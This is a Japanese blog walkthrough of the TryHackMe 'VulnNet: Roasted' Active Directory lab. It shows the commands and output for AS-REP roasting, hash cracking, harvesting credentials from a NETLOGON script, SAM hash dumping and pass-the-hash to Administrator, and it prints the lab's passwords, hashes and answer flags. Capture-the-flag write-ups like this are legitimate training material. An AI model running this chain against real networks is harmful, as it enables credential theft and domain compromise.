0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

【TryHackMe】VulnNet Roasted:Walkthrough

0
Posted at

概要

TryHackMe「VulnNet: Roasted」のWalkthroughです。

Task1

Q1.What is the user flag? (Desktop\user.txt)

ポートスキャンを実行します。

$ nmap -Pn -sCV -T4 -p- 10.48.163.106 -oN nmap_result
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-06-14 17:43:14Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: vulnnet-rst.local, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: vulnnet-rst.local, Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        .NET Message Framing
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49669/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49670/tcp open  msrpc         Microsoft Windows RPC
49677/tcp open  msrpc         Microsoft Windows RPC
49706/tcp open  msrpc         Microsoft Windows RPC
49801/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: WIN-2BO8M1OE1M1; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2026-06-14T17:44:08
|_  start_date: N/A
| smb2-security-mode: 
|   3.1.1: 
|_    Message signing enabled and required

SMBが稼働していると分かったので、共有フォルダの列挙をします。
VulnNet-Business-AnonymousやVulnNet-Enterprise-Anonymousに接続し、ファイルを確認しましたが、有用な情報はありませんでした。

$ smbclient -L //10.48.163.106/ 
Password for [WORKGROUP\kali]:

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        IPC$            IPC       Remote IPC
        NETLOGON        Disk      Logon server share 
        SYSVOL          Disk      Logon server share 
        VulnNet-Business-Anonymous Disk      VulnNet Business Sharing
        VulnNet-Enterprise-Anonymous Disk      VulnNet Enterprise Sharing
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.48.163.106 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available

SMBのユーザーを列挙します。

$ nxc smb 10.48.170.138 -u 'guest' -p '' --rid-brute
SMB         10.48.170.138   445    WIN-2BO8M1OE1M1  [*] Windows 10 / Server 2019 Build 17763 x64 (name:WIN-2BO8M1OE1M1) (domain:vulnnet-rst.local) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.48.170.138   445    WIN-2BO8M1OE1M1  [+] vulnnet-rst.local\guest: 
SMB         10.48.170.138   445    WIN-2BO8M1OE1M1  498: VULNNET-RST\Enterprise Read-only Domain Controllers (SidTypeGroup)                                                                                                               
SMB         10.48.170.138   445    WIN-2BO8M1OE1M1  500: VULNNET-RST\Administrator (SidTypeUser)
SMB         10.48.170.138   445    WIN-2BO8M1OE1M1  501: VULNNET-RST\Guest (SidTypeUser)
SMB         10.48.170.138   445    WIN-2BO8M1OE1M1  502: VULNNET-RST\krbtgt (SidTypeUser)
SMB         10.48.170.138   445    WIN-2BO8M1OE1M1  512: VULNNET-RST\Domain Admins (SidTypeGroup)
SMB         10.48.170.138   445    WIN-2BO8M1OE1M1  513: VULNNET-RST\Domain Users (SidTypeGroup)
SMB         10.48.170.138   445    WIN-2BO8M1OE1M1  514: VULNNET-RST\Domain Guests (SidTypeGroup)
SMB         10.48.170.138   445    WIN-2BO8M1OE1M1  515: VULNNET-RST\Domain Computers (SidTypeGroup)
SMB         10.48.170.138   445    WIN-2BO8M1OE1M1  516: VULNNET-RST\Domain Controllers (SidTypeGroup)
SMB         10.48.170.138   445    WIN-2BO8M1OE1M1  517: VULNNET-RST\Cert Publishers (SidTypeAlias)
SMB         10.48.170.138   445    WIN-2BO8M1OE1M1  518: VULNNET-RST\Schema Admins (SidTypeGroup)
SMB         10.48.170.138   445    WIN-2BO8M1OE1M1  519: VULNNET-RST\Enterprise Admins (SidTypeGroup)
SMB         10.48.170.138   445    WIN-2BO8M1OE1M1  520: VULNNET-RST\Group Policy Creator Owners (SidTypeGroup)
SMB         10.48.170.138   445    WIN-2BO8M1OE1M1  521: VULNNET-RST\Read-only Domain Controllers (SidTypeGroup)
SMB         10.48.170.138   445    WIN-2BO8M1OE1M1  522: VULNNET-RST\Cloneable Domain Controllers (SidTypeGroup)
SMB         10.48.170.138   445    WIN-2BO8M1OE1M1  525: VULNNET-RST\Protected Users (SidTypeGroup)
SMB         10.48.170.138   445    WIN-2BO8M1OE1M1  526: VULNNET-RST\Key Admins (SidTypeGroup)
SMB         10.48.170.138   445    WIN-2BO8M1OE1M1  527: VULNNET-RST\Enterprise Key Admins (SidTypeGroup)
SMB         10.48.170.138   445    WIN-2BO8M1OE1M1  553: VULNNET-RST\RAS and IAS Servers (SidTypeAlias)
SMB         10.48.170.138   445    WIN-2BO8M1OE1M1  571: VULNNET-RST\Allowed RODC Password Replication Group (SidTypeAlias)                                                                                                               
SMB         10.48.170.138   445    WIN-2BO8M1OE1M1  572: VULNNET-RST\Denied RODC Password Replication Group (SidTypeAlias)                                                                                                                
SMB         10.48.170.138   445    WIN-2BO8M1OE1M1  1000: VULNNET-RST\WIN-2BO8M1OE1M1$ (SidTypeUser)
SMB         10.48.170.138   445    WIN-2BO8M1OE1M1  1101: VULNNET-RST\DnsAdmins (SidTypeAlias)
SMB         10.48.170.138   445    WIN-2BO8M1OE1M1  1102: VULNNET-RST\DnsUpdateProxy (SidTypeGroup)
SMB         10.48.170.138   445    WIN-2BO8M1OE1M1  1104: VULNNET-RST\enterprise-core-vn (SidTypeUser)
SMB         10.48.170.138   445    WIN-2BO8M1OE1M1  1105: VULNNET-RST\a-whitehat (SidTypeUser)
SMB         10.48.170.138   445    WIN-2BO8M1OE1M1  1109: VULNNET-RST\t-skid (SidTypeUser)
SMB         10.48.170.138   445    WIN-2BO8M1OE1M1  1110: VULNNET-RST\j-goldenhand (SidTypeUser)
SMB         10.48.170.138   445    WIN-2BO8M1OE1M1  1111: VULNNET-RST\j-leet (SidTypeUser)

複数ユーザーを列挙できました。
取得できたユーザーで、AS-REP Roasting攻撃を試みます。
するとt-skidのハッシュ値を取得できました。

$ impacket-GetNPUsers vulnnet-rst.local/ -no-pass -usersfile ./user.txt 
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[-] User Administrator doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User guest doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] User enterprise-core-vn doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User a-whitehat doesn't have UF_DONT_REQUIRE_PREAUTH set
$krb5asrep$23$t-skid@VULNNET-RST.LOCAL:f6d59cab5df69e63d9377e5e8614d802$7d66e1a3074d63ba2e40e317a962ae3c69a56c627b1e8a12a880d2dab5b0a0609db0f61b7134cb9e2b1d15ae4d1ac8a0185e20def674b2c11aaa462cf2071722cdd73c4f93051a2f6e1534db2cfd057fb146fc0a136c199049cfa109f06523e4744b5c21bad66fe6b5509223d4d96c9128483b7ffc4103c7dad16947539eef14bff0ce77d3c30b88c9e396fffca707f1bf3e96155cdf30173a73aa7ec8bc8be2f147cc82b1585875965cc9e13fdf62844ab8ac7844bb4c9f1550fe0bf4f1e60e8e95776cc804bf89a80a31ed88c86474663666e8e093df1add8a1187461480f5c0d7a95b7e617443623b1a1cb91dbd6d3d9568bf3e08
[-] User j-goldenhand doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User j-leet doesn't have UF_DONT_REQUIRE_PREAUTH set

ローカルでハッシュ値を解析すると、パスワードが分かりました。

$ john --wordlist=/usr/share/wordlists/rockyou.txt t-skid_hash.txt
tj072889*        ($krb5asrep$23$t-skid@VULNNET-RST.LOCAL)

Username:t-skid、Password:tj072889*でのSMB権限を確認します。
NETLOGONディレクトリが読み取り可能になっています。

$ smbmap -u 't-skid' -p 'tj072889*' -H 10.48.130.110
[+] IP: 10.48.130.110:445       Name: vulnnet-rst.local         Status: Authenticated
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        ADMIN$                                                  NO ACCESS       Remote Admin
        C$                                                      NO ACCESS       Default share
        IPC$                                                    READ ONLY       Remote IPC
        NETLOGON                                                READ ONLY       Logon server share 
        SYSVOL                                                  READ ONLY       Logon server share 
        VulnNet-Business-Anonymous                              READ ONLY       VulnNet Business Sharing
        VulnNet-Enterprise-Anonymous                            READ ONLY       VulnNet Enterprise Sharing

NETLOGONに入るとVBSファイルをがあるので、ダウンロードします。

$ smbclient -U vulnnet-rst.local/t-skid //10.48.130.110/NETLOGON
Password for [VULNNET-RST.LOCAL\t-skid]:
Try "help" to get a list of possible commands.
smb: \> dir
  .                                   D        0  Tue Mar 16 19:15:49 2021
  ..                                  D        0  Tue Mar 16 19:15:49 2021
  ResetPassword.vbs                   A     2821  Tue Mar 16 19:18:14 2021

                8771839 blocks of size 4096. 4504186 blocks available
smb: \> get ResetPassword.vbs 
getting file \ResetPassword.vbs of size 2821 as ResetPassword.vbs (3.8 KiloBytes/sec) (average 3.8 KiloBytes/sec)

ファイルの中身を確認すると、ユーザ名とパスワードを得られました。

ResetPassword.vbs
strUserNTName = "a-whitehat"
strPassword = "bNdKVkjv3RR9ht"

得られた認証情報でwinrmに接続できました。

$ evil-winrm -i 10.48.130.110 -u a-whitehat -p 'bNdKVkjv3RR9ht'
*Evil-WinRM* PS C:\Users\a-whitehat\Documents>

ユーザフラグを入手できました。

*Evil-WinRM* PS C:\Users\enterprise-core-vn> more Desktop/user.txt
THM{726b7c0baaac1455d05c827b5561f4ed}

A.THM{726b7c0baaac1455d05c827b5561f4ed}

Q2.What is the system flag? (Desktop\system.txt)

a-whitehat権限でNTLMハッシュ値を取得できました。

$ impacket-secretsdump vulnnet-rst.local/a-whitehat:bNdKVkjv3RR9ht@10.48.130.110
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[*] Service RemoteRegistry is in stopped state
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0xf10a2788aef5f622149a41b2c745f49a
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:c2597747aa5e43022a3a3049a3c3b09d:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

Administratorのハッシュ値を取得できたので、
Pass-The-Hash攻撃が成功しました。

$ evil-winrm -i 10.48.130.110 -u Administrator -H 'c2597747aa5e43022a3a3049a3c3b09d'
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
vulnnet-rst\administrator

ルートフラグを入手できました。

*Evil-WinRM* PS C:\Users\Administrator\Desktop> more system.txt
THM{16f45e3934293a57645f8d7bf71d8d4c}

A.THM{16f45e3934293a57645f8d7bf71d8d4c}

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?